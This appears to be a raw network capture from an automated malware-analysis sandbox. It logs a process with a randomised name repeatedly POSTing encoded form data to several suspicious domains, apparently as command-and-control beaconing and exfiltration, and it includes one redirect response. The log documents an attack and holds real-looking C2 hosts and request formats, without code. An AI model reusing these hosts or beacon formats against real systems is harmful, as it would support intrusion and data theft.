Sep 26, 2024 15:23:31.454401970 CEST	448	IN	Data Raw: 2d 69 74 65 6d 22 20 68 72 65 66 3d 22 68 65 61 64 65 72 32 2d 74 72 61 6e 73 70 61 72 65 6e 74 2e 68 74 6d 6c 22 3e 48 65 61 64 65 72 20 32 20 54 72 61 6e 73 70 61 72 65 6e 74 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: -item" href="header2-transparent.html">Header 2 Transparent</a></li> <li><a class="dropdown-item" href="header2-light.html">Header 2 Light</a></li>
Sep 26, 2024 15:23:31.455368042 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d Data Ascii: </li> <li><a class="dropdown-item dropdown-toggle" href="#">Header 3</a> <ul class="dropdown-menu">
Sep 26, 2024 15:23:31.455512047 CEST	1236	IN	Data Raw: 61 64 65 72 20 34 20 4c 69 67 68 74 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ader 4 Light</a></li> <li><a class="dropdown-item" href="header4-dark.html">Header 4 Dark</a></li> </ul>
Sep 26, 2024 15:23:31.459045887 CEST	1236	IN	Data Raw: 72 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 22 3e 20 Data Ascii: rs</a> <ul class="dropdown-menu"> <li><a class="dropdown-item dropdown-toggle" href="#">Footer 1</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49728	103.248.137.209	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:23:37.112127066 CEST	766	OUT	POST /5o7d/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.63582.photo Origin: http://www.63582.photo Content-Length: 207 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.63582.photo/5o7d/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 2b 4f 32 78 66 51 56 4c 44 65 57 6a 5a 6b 34 65 2b 4d 76 58 6b 71 6c 63 54 2f 52 76 78 35 33 33 4e 69 4b 35 58 57 35 57 6e 52 38 45 4d 43 63 43 6c 61 6c 63 76 58 6f 62 2b 73 69 72 50 51 47 50 66 43 70 42 74 6f 46 50 54 42 6c 4b 54 62 73 6d 56 65 32 41 78 42 30 63 31 59 71 31 61 6e 79 6b 71 4b 32 37 70 33 61 76 32 2f 56 7a 55 73 58 64 77 75 5a 2b 58 70 38 71 4e 70 75 47 46 57 74 75 62 67 72 57 45 4e 6e 6d 7a 57 4d 63 61 73 4b 56 54 75 4b 4c 33 47 33 2f 39 6f 31 45 56 5a 59 5a 6e 6c 32 66 66 46 61 70 74 36 77 34 30 62 46 67 6f 36 6f 2f 51 75 64 4c 56 35 34 2f 54 69 6f 55 36 55 69 39 48 54 55 3d Data Ascii: vf5pwn=+O2xfQVLDeWjZk4e+MvXkqlcT/Rvx533NiK5XW5WnR8EMCcClalcvXob+sirPQGPfCpBtoFPTBlKTbsmVe2AxB0c1Yq1anykqK27p3av2/VzUsXdwuZ+Xp8qNpuGFWtubgrWENnmzWMcasKVTuKL3G3/9o1EVZYZnl2ffFapt6w40bFgo6o/QudLV54/TioU6Ui9HTU=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49729	103.248.137.209	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:23:39.664932966 CEST	786	OUT	POST /5o7d/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.63582.photo Origin: http://www.63582.photo Content-Length: 227 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.63582.photo/5o7d/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 2b 4f 32 78 66 51 56 4c 44 65 57 6a 59 45 6f 65 2f 72 44 58 73 71 6c 66 63 66 52 76 2f 70 33 7a 4e 69 4f 35 58 58 39 34 67 6b 4d 45 43 44 73 43 72 37 6c 63 71 58 6f 62 77 4d 69 75 42 77 47 49 66 43 56 7a 74 6f 4a 50 54 46 4e 4b 54 61 63 6d 57 70 43 44 78 52 30 65 36 34 71 33 56 48 79 6b 71 4b 32 37 70 30 6d 46 32 2f 4e 7a 55 64 48 64 78 4d 78 39 61 4a 38 70 64 35 75 47 4f 32 74 69 62 67 72 30 45 49 2f 41 7a 55 30 63 61 70 75 56 51 36 65 49 69 32 33 35 7a 49 31 4b 55 63 6c 54 69 6c 4b 58 44 30 48 76 73 59 45 6a 78 74 6f 4b 79 59 67 58 44 4f 78 7a 46 71 77 49 43 53 4a 39 67 33 79 4e 5a 45 43 37 75 36 77 72 7a 4d 2b 43 51 6c 72 66 31 78 6e 63 51 36 34 5a Data Ascii: vf5pwn=+O2xfQVLDeWjYEoe/rDXsqlfcfRv/p3zNiO5XX94gkMECDsCr7lcqXobwMiuBwGIfCVztoJPTFNKTacmWpCDxR0e64q3VHykqK27p0mF2/NzUdHdxMx9aJ8pd5uGO2tibgr0EI/AzU0capuVQ6eIi235zI1KUclTilKXD0HvsYEjxtoKyYgXDOxzFqwICSJ9g3yNZEC7u6wrzM+CQlrf1xncQ64Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49730	103.248.137.209	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:23:42.211833954 CEST	1803	OUT	POST /5o7d/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.63582.photo Origin: http://www.63582.photo Content-Length: 1243 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.63582.photo/5o7d/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 2b 4f 32 78 66 51 56 4c 44 65 57 6a 59 45 6f 65 2f 72 44 58 73 71 6c 66 63 66 52 76 2f 70 33 7a 4e 69 4f 35 58 58 39 34 67 6b 45 45 43 78 6b 43 72 59 4e 63 74 58 6f 62 75 63 69 76 42 77 47 5a 66 43 4d 36 74 6f 31 66 54 48 46 4b 54 34 55 6d 43 4e 65 44 2b 52 30 65 78 59 71 32 61 6e 7a 6b 71 4a 4f 6e 70 30 32 46 32 2f 4e 7a 55 65 50 64 32 65 5a 39 4a 35 38 71 4e 70 75 42 46 57 74 4f 62 6b 50 4f 45 4a 4c 50 7a 6e 38 63 5a 4a 2b 56 41 63 69 49 67 57 33 37 2b 6f 30 4d 55 63 68 51 69 6d 75 78 44 30 7a 4a 73 62 55 6a 78 4d 4e 4a 72 4a 4d 32 57 75 78 53 4a 62 6f 79 65 32 52 4b 6e 32 65 4c 54 55 33 5a 73 65 74 48 38 38 44 48 55 45 36 6b 76 33 62 7a 51 76 68 59 67 4e 4a 7a 51 58 59 67 58 4c 51 74 66 6a 78 52 48 58 6d 33 71 72 66 41 6d 77 2b 4b 73 36 49 64 31 4c 4f 56 6a 54 47 58 4e 67 56 42 6f 69 58 45 52 50 43 58 50 59 42 6e 39 6b 62 76 32 34 4e 4b 51 32 73 4f 48 55 43 2b 7a 39 56 63 44 48 48 49 53 33 36 59 4d 66 73 78 31 54 73 32 5a 6a 71 75 53 6b 79 49 76 4d 75 70 38 32 6b 6d 43 76 39 [TRUNCATED] Data Ascii: vf5pwn=+O2xfQVLDeWjYEoe/rDXsqlfcfRv/p3zNiO5XX94gkEECxkCrYNctXobucivBwGZfCM6to1fTHFKT4UmCNeD+R0exYq2anzkqJOnp02F2/NzUePd2eZ9J58qNpuBFWtObkPOEJLPzn8cZJ+VAciIgW37+o0MUchQimuxD0zJsbUjxMNJrJM2WuxSJboye2RKn2eLTU3ZsetH88DHUE6kv3bzQvhYgNJzQXYgXLQtfjxRHXm3qrfAmw+Ks6Id1LOVjTGXNgVBoiXERPCXPYBn9kbv24NKQ2sOHUC+z9VcDHHIS36YMfsx1Ts2ZjquSkyIvMup82kmCv99HUx4rmeJxKD74P/WjABN6jXlCsLAcOqc25DGqisFAlfYe9s5FHJIl0vLOdgEn7Rta4MKxAcrQEvJQEcOk8hyrwBGdLJb+q2dEXxXqMJ1JQNG0R33TIZIblJbiHIG2nXv/nIVJy9Rj8f3IItf4nKXwVuNMPOj4CD2rhkX4zeSwWuUfm0bpZ4s4lDmr8G4e3U22Oy9NQcCm8sixcMZSZSl1h8Uyf6OTniMTjh6Z7Ef4YxY7UG0FzHBZgHt7eiPCVvxM9lcbTlyvh8KFBhR+Km51DYYSlPvhRFtAp9fxRdDoFlkKXdAL6DDHTu4tORGJUtj1N88yq8ZDiDXLPESQrf7XIcZYT5pMxo+EMJrkW9jjLLcO3sIeHTOFWo7A0PxIquTa4JCcTC8gvhtRkw4FZKNbZibFpH6n+v0FH1kUVW+DXMTgd0gEFgxjCNMn+CCONkJbyUMeTz3syHz8sfjZVynwUoR2hmsYDOTYK/gKArf+/veSSCxfGGrcM/I9wTbmh1xaH1VcHrxIFbJ0cxX4JLa7yVlg3YwN8O8PR6d231V1MGCaVU/4VOZOaoQmhJPPMomrNGrK200t9lpqlECgH2JzYVIKc5pBlbnr6JvyKfjcsCTo7wa7N9ZGAX27hh7sEAzSQgkzDCKwUhipNZXI4YHtXPvCgOLEx367 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49731	103.248.137.209	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:23:44.758128881 CEST	522	OUT	GET /5o7d/?vf5pwn=zMeRclQqEZ6cHEkv6r3h6rNdPeIv0NfXLXq5VQFXrGMOKBUumeR2nXgC5pr3HgG3QDdipY9Tb1BbXYBiFpGdsHlq0LOSSwDS14egmHnY5/1aPOe4+/4uS5IVfZSCCmkbAw==&lHul=nfQTqL40vDEpIp30 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.63582.photo Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49732	3.33.130.190	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:24:19.382091999 CEST	790	OUT	POST /kt2f/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.asiapartnars.online Origin: http://www.asiapartnars.online Content-Length: 207 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.asiapartnars.online/kt2f/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 36 6f 67 78 63 6c 52 71 43 74 78 53 33 42 6d 39 69 4d 2b 62 67 30 34 4a 63 4f 6f 76 6e 6a 54 44 50 35 6c 48 2b 66 77 48 55 52 68 67 38 55 4e 31 42 67 6e 6c 49 52 79 6e 66 4b 42 65 50 52 4b 49 38 32 62 4a 77 33 31 36 65 67 5a 67 7a 63 49 53 6f 65 51 44 5a 35 33 36 2b 35 66 30 51 73 68 32 4d 76 67 4f 75 41 30 4e 78 57 44 32 58 69 2f 59 70 79 49 30 34 32 71 54 31 37 2b 31 33 6a 4c 7a 33 31 49 46 53 4d 51 70 53 4b 51 37 6f 62 53 61 49 4a 42 56 36 67 48 52 2b 58 34 31 44 56 63 38 65 42 66 64 72 4f 65 32 32 57 57 2b 6c 47 6a 5a 6f 78 2f 77 42 70 4b 46 36 45 4a 39 52 49 4b 6b 4a 53 6e 6a 65 2f 63 3d Data Ascii: vf5pwn=6ogxclRqCtxS3Bm9iM+bg04JcOovnjTDP5lH+fwHURhg8UN1BgnlIRynfKBePRKI82bJw316egZgzcISoeQDZ536+5f0Qsh2MvgOuA0NxWD2Xi/YpyI042qT17+13jLz31IFSMQpSKQ7obSaIJBV6gHR+X41DVc8eBfdrOe22WW+lGjZox/wBpKF6EJ9RIKkJSnje/c=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49733	3.33.130.190	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:24:21.932420015 CEST	810	OUT	POST /kt2f/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.asiapartnars.online Origin: http://www.asiapartnars.online Content-Length: 227 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.asiapartnars.online/kt2f/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 36 6f 67 78 63 6c 52 71 43 74 78 53 6c 78 57 39 68 76 6d 62 78 6b 34 4b 53 75 6f 76 79 54 54 48 50 35 5a 48 2b 65 30 74 56 6a 31 67 2f 31 39 31 41 69 50 6c 45 78 79 6e 55 71 42 66 52 68 4b 58 38 32 6e 33 77 32 4a 36 65 67 4e 67 7a 65 51 53 6f 70 45 63 59 70 33 38 78 5a 65 79 65 4d 68 32 4d 76 67 4f 75 41 78 6f 78 56 7a 32 4c 43 50 59 72 51 67 37 32 57 71 51 32 37 2b 31 39 44 4c 33 33 31 4a 6f 53 4f 6b 58 53 50 4d 37 6f 66 57 61 5a 34 42 57 6a 51 48 58 36 58 35 69 4c 57 42 6d 57 79 6e 66 6f 4d 47 72 69 58 6d 65 6b 77 4f 7a 79 54 33 59 53 4a 6d 39 71 58 42 4b 41 34 72 4e 54 78 33 54 41 6f 4c 74 61 55 44 4a 34 45 62 6e 73 2f 79 65 36 61 58 66 55 70 44 2f Data Ascii: vf5pwn=6ogxclRqCtxSlxW9hvmbxk4KSuovyTTHP5ZH+e0tVj1g/191AiPlExynUqBfRhKX82n3w2J6egNgzeQSopEcYp38xZeyeMh2MvgOuAxoxVz2LCPYrQg72WqQ27+19DL331JoSOkXSPM7ofWaZ4BWjQHX6X5iLWBmWynfoMGriXmekwOzyT3YSJm9qXBKA4rNTx3TAoLtaUDJ4Ebns/ye6aXfUpD/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49734	3.33.130.190	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:24:24.475020885 CEST	1827	OUT	POST /kt2f/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.asiapartnars.online Origin: http://www.asiapartnars.online Content-Length: 1243 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.asiapartnars.online/kt2f/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 36 6f 67 78 63 6c 52 71 43 74 78 53 6c 78 57 39 68 76 6d 62 78 6b 34 4b 53 75 6f 76 79 54 54 48 50 35 5a 48 2b 65 30 74 56 6a 74 67 38 48 31 31 42 45 48 6c 46 78 79 6e 5a 4b 42 61 52 68 4c 4c 38 32 50 37 77 32 45 50 65 6b 39 67 79 2f 77 53 75 62 38 63 54 70 33 38 70 70 66 31 51 73 67 75 4d 72 46 4a 75 44 5a 6f 78 56 7a 32 4c 41 58 59 39 53 49 37 6d 6d 71 54 31 37 2f 36 33 6a 4c 50 33 30 74 57 53 4e 4a 69 54 37 41 37 70 2f 47 61 4b 71 35 57 38 67 48 56 39 58 35 71 4c 57 4d 34 57 79 72 31 6f 4e 6a 6a 69 51 53 65 6d 6c 54 62 67 41 43 4f 4d 49 53 61 76 56 5a 59 43 39 76 74 4f 33 7a 56 63 59 4c 4d 51 48 7a 6c 76 6a 7a 56 6f 64 6e 6d 75 4f 62 38 54 2b 2b 50 70 66 63 64 5a 43 68 7a 6c 74 63 2f 59 47 4d 74 2b 4f 6d 35 58 72 68 37 66 4c 42 42 73 4a 76 56 50 44 72 61 65 68 51 6a 49 33 45 74 34 77 39 4d 4a 4a 46 31 33 38 57 73 30 33 7a 5a 30 47 30 76 74 44 31 51 63 6e 51 63 74 54 42 7a 36 58 59 66 4e 53 37 7a 6f 44 51 4f 48 37 52 31 69 35 69 54 43 49 42 4d 6a 59 35 45 49 2b 49 5a 41 51 4b [TRUNCATED] Data Ascii: vf5pwn=6ogxclRqCtxSlxW9hvmbxk4KSuovyTTHP5ZH+e0tVjtg8H11BEHlFxynZKBaRhLL82P7w2EPek9gy/wSub8cTp38ppf1QsguMrFJuDZoxVz2LAXY9SI7mmqT17/63jLP30tWSNJiT7A7p/GaKq5W8gHV9X5qLWM4Wyr1oNjjiQSemlTbgACOMISavVZYC9vtO3zVcYLMQHzlvjzVodnmuOb8T++PpfcdZChzltc/YGMt+Om5Xrh7fLBBsJvVPDraehQjI3Et4w9MJJF138Ws03zZ0G0vtD1QcnQctTBz6XYfNS7zoDQOH7R1i5iTCIBMjY5EI+IZAQKi40hdQcHGi09DTEP58Qfxe+a8GwNMbONEbg57/R/tmI3/IkVEuk24QyVgNjg7aGtjeJr5oozQVRuWzy9VxOb2yu1u+N3T8GUHhCZP6/o7bzgH+ONUBO4Eor2b8Ib0caAEXgNTk1DvSHOYJLVsi2RVy6SemLLLNM6K2I/BLHzfRg3DpC2kC832vi4bSDY7vaZUbWqLqa3bJnv8TWwlPdJH2h99MCApdndEaYOPlS2gQ+zretGeLekMy8fJmH9XwGbQUSbcNk5dXZuxosgfs2yxbmfhhCQysRSE3o60cRfQKnrJsYmjUYEGJstkVzRhJECtupw88Rc3DAoQmv9j6f2sZ0dpTYboPRswbDlL6HY/xv8vZBpvV1mQo1vN6y+1IcIhvZ53LwR1S7bRrjD1PWo/C6ZBW+8NAtMTfc6KYAQ6mtOaq1ERW8wJKffYmfDYTBiF4VZeGFMptHFBobg7b/Aserl/CMjX+aUQJXaCSgThbkmomyqyvBHOourjguI7NI72+Jq8AUtPRzZH8CL73Sq2Z4rlOp05fIQVRRA3LXTRhKhzyfBLIt+5q7F9uGVc3NOScRMt7gw90Y4HtmyseN4EPTK1rvv2jasIqI0neMmPN04lxEE81JwGKGlUAXE4EMmOIJEYiy/k6575DVjxWSIq1mUsu2cgKikHX [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49735	3.33.130.190	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:24:27.024223089 CEST	530	OUT	GET /kt2f/?vf5pwn=3qIRfQl/AKdo1myXluGCiikgEIMzjkfYZ4NmxJouZDst8nFYGFmfJjzqUfk6VEmL81v5o0lFZhte5+gDx+sfHO+i2Ne6X81cG7kNzDpu31X3NSjbrBV+9ESn2I73xzu4qQ==&lHul=nfQTqL40vDEpIp30 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.asiapartnars.online Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 26, 2024 15:24:27.492445946 CEST	416	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 26 Sep 2024 13:24:27 GMT Content-Type: text/html Content-Length: 276 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 76 66 35 70 77 6e 3d 33 71 49 52 66 51 6c 2f 41 4b 64 6f 31 6d 79 58 6c 75 47 43 69 69 6b 67 45 49 4d 7a 6a 6b 66 59 5a 34 4e 6d 78 4a 6f 75 5a 44 73 74 38 6e 46 59 47 46 6d 66 4a 6a 7a 71 55 66 6b 36 56 45 6d 4c 38 31 76 35 6f 30 6c 46 5a 68 74 65 35 2b 67 44 78 2b 73 66 48 4f 2b 69 32 4e 65 36 58 38 31 63 47 37 6b 4e 7a 44 70 75 33 31 58 33 4e 53 6a 62 72 42 56 2b 39 45 53 6e 32 49 37 33 78 7a 75 34 71 51 3d 3d 26 6c 48 75 6c 3d 6e 66 51 54 71 4c 34 30 76 44 45 70 49 70 33 30 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?vf5pwn=3qIRfQl/AKdo1myXluGCiikgEIMzjkfYZ4NmxJouZDst8nFYGFmfJjzqUfk6VEmL81v5o0lFZhte5+gDx+sfHO+i2Ne6X81cG7kNzDpu31X3NSjbrBV+9ESn2I73xzu4qQ==&lHul=nfQTqL40vDEpIp30"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49736	3.33.130.190	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:24:32.550617933 CEST	775	OUT	POST /al6z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.linkwave.cloud Origin: http://www.linkwave.cloud Content-Length: 207 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.linkwave.cloud/al6z/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 59 54 71 74 69 44 6f 6f 77 42 63 70 4d 33 56 70 65 76 4d 74 50 77 44 53 55 74 71 36 66 74 79 52 55 35 5a 54 33 78 31 50 44 4f 54 67 59 6a 62 59 65 2b 57 66 41 7a 58 33 56 50 56 79 4e 57 65 55 78 59 44 66 47 37 4c 77 7a 42 45 6c 61 61 2f 33 76 35 57 66 72 2b 67 42 62 63 54 31 4e 52 75 31 32 62 4a 57 6b 63 6e 33 46 47 51 70 77 64 79 67 67 6d 6e 75 6e 76 33 48 47 53 68 48 4b 32 77 49 67 49 5a 34 67 68 6b 55 52 57 4f 37 37 71 34 70 77 33 41 6b 4a 4c 66 33 71 61 42 36 34 6e 36 74 46 6a 52 72 4f 2f 49 62 59 37 6a 75 63 42 70 6d 55 2b 47 62 36 38 70 67 79 54 7a 35 34 76 65 2b 4e 41 62 64 77 6c 45 3d Data Ascii: vf5pwn=YTqtiDoowBcpM3VpevMtPwDSUtq6ftyRU5ZT3x1PDOTgYjbYe+WfAzX3VPVyNWeUxYDfG7LwzBElaa/3v5Wfr+gBbcT1NRu12bJWkcn3FGQpwdyggmnunv3HGShHK2wIgIZ4ghkURWO77q4pw3AkJLf3qaB64n6tFjRrO/IbY7jucBpmU+Gb68pgyTz54ve+NAbdwlE=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49737	3.33.130.190	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:24:35.102122068 CEST	795	OUT	POST /al6z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.linkwave.cloud Origin: http://www.linkwave.cloud Content-Length: 227 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.linkwave.cloud/al6z/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 59 54 71 74 69 44 6f 6f 77 42 63 70 4d 57 6c 70 63 4d 30 74 65 41 44 54 58 74 71 36 52 4e 79 56 55 35 46 54 33 77 42 68 44 38 33 67 59 47 2f 59 52 63 75 66 44 7a 58 33 41 2f 56 33 54 6d 65 62 78 59 66 39 47 36 6e 77 7a 42 67 6c 61 65 7a 33 6f 49 57 63 74 2b 67 50 64 63 54 33 4a 52 75 31 32 62 4a 57 6b 59 32 51 46 47 49 70 77 73 43 67 68 45 50 74 37 2f 33 41 53 43 68 48 62 6d 77 4d 67 49 59 62 67 6c 6c 63 52 55 32 37 37 71 49 70 77 6d 41 6e 41 4c 66 78 6c 36 41 30 78 6d 72 37 4e 6a 46 79 42 75 70 7a 48 35 6e 31 55 58 45 4d 4f 63 4f 7a 70 63 46 59 69 41 37 4f 70 66 2f 58 58 6a 4c 74 75 79 54 33 77 47 56 57 44 54 68 52 72 72 63 4d 53 36 50 77 72 45 66 6b Data Ascii: vf5pwn=YTqtiDoowBcpMWlpcM0teADTXtq6RNyVU5FT3wBhD83gYG/YRcufDzX3A/V3TmebxYf9G6nwzBglaez3oIWct+gPdcT3JRu12bJWkY2QFGIpwsCghEPt7/3ASChHbmwMgIYbgllcRU277qIpwmAnALfxl6A0xmr7NjFyBupzH5n1UXEMOcOzpcFYiA7Opf/XXjLtuyT3wGVWDThRrrcMS6PwrEfk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49738	3.33.130.190	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

